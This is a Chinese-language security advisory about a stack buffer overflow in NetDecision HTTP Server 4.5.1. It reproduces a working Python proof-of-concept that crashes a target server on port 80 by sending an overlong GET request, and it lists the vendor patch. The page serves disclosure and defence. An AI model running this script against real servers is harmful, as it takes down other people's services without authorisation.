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首页 / 操作系统 / Linux / NetDecision HTTP Server长HTTP请求远程拒绝服务漏洞

发布日期:2012-02-29
更新日期:2012-03-01受影响系统:
NetMechanica NetDecision 4.5.1
不受影响系统:
NetMechanica NetDecision 4.6.1
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 52208NetDecision HTTP Server可在Windows工作站或服务器上提供标准的HTTP服务。NetDecision HTTP服务器在处理Web请求时存在边界错误,通过超长的URL可造成栈缓冲区溢出,使受影响应用崩溃。<*来源:Prabhu S Angadi
 
  链接:http://www.secpod.org/advisories/SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_Vuln.txt
*>测试方法:
--------------------------------------------------------------------------------警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!Prabhu S Angadi ()提供了如下测试方法:#!/usr/bin/python
##############################################################################
#
# Title    : Netmechanica NetDecision HTTP Server Denial Of Service 
#            Vulnerability
# Author   : Prabhu S Angadi SecPod Technologies (www.secpod.com)
# Vendor   : http://www.netmechanica.com
# Advisory : http://secpod.org/blog/?p=484
#            http://secpod.org/advisories/SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_Vuln.txt
#         http://secpod.org/exploits/SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_PoC.py
# Software : Netmechanica NetDecision HTTP Server version 4.5.1
# Date     : 05/12/2011
#
###############################################################################import socket,sys,time
if len(sys.argv) < 2:
        print " [-] Usage: python SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_PoC.py target_ip"
        print " [-] Example : python SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_PoC.py 127.0.0.1"
        print " [-] Exiting..."
        sys.exit(0)port   = 80
target = sys.argv[1]try:
    socket.inet_aton(target)
except socket.error:
    print "Invalid IP address found ..."
    sys.exit(1)try:
    sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.connect((target,port))
except:
    print "socket() failed: Server is not running"
    sys.exit(1)exploit = "GET "+ "A"*1276 + " " + " "print "HTTP GET request with long filename triggers the vulnerability"
data = exploit
sock.sendto(data, (target, port))
time.sleep(5)
print "[+] Please verify the server daemon port, it must be down...."建议:
--------------------------------------------------------------------------------
厂商补丁:NetMechanica
------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:http://www.netmechanica.com/products/?prod_id=1015Cisco Unity Connection TCP段拒绝服务漏洞NetDecision Traffic Grapher Server源代码泄露漏洞相关资讯      NetDecision HTTP Server 
  • NetDecision HTTP Server栈缓冲区  (03/01/2012 07:00:08)
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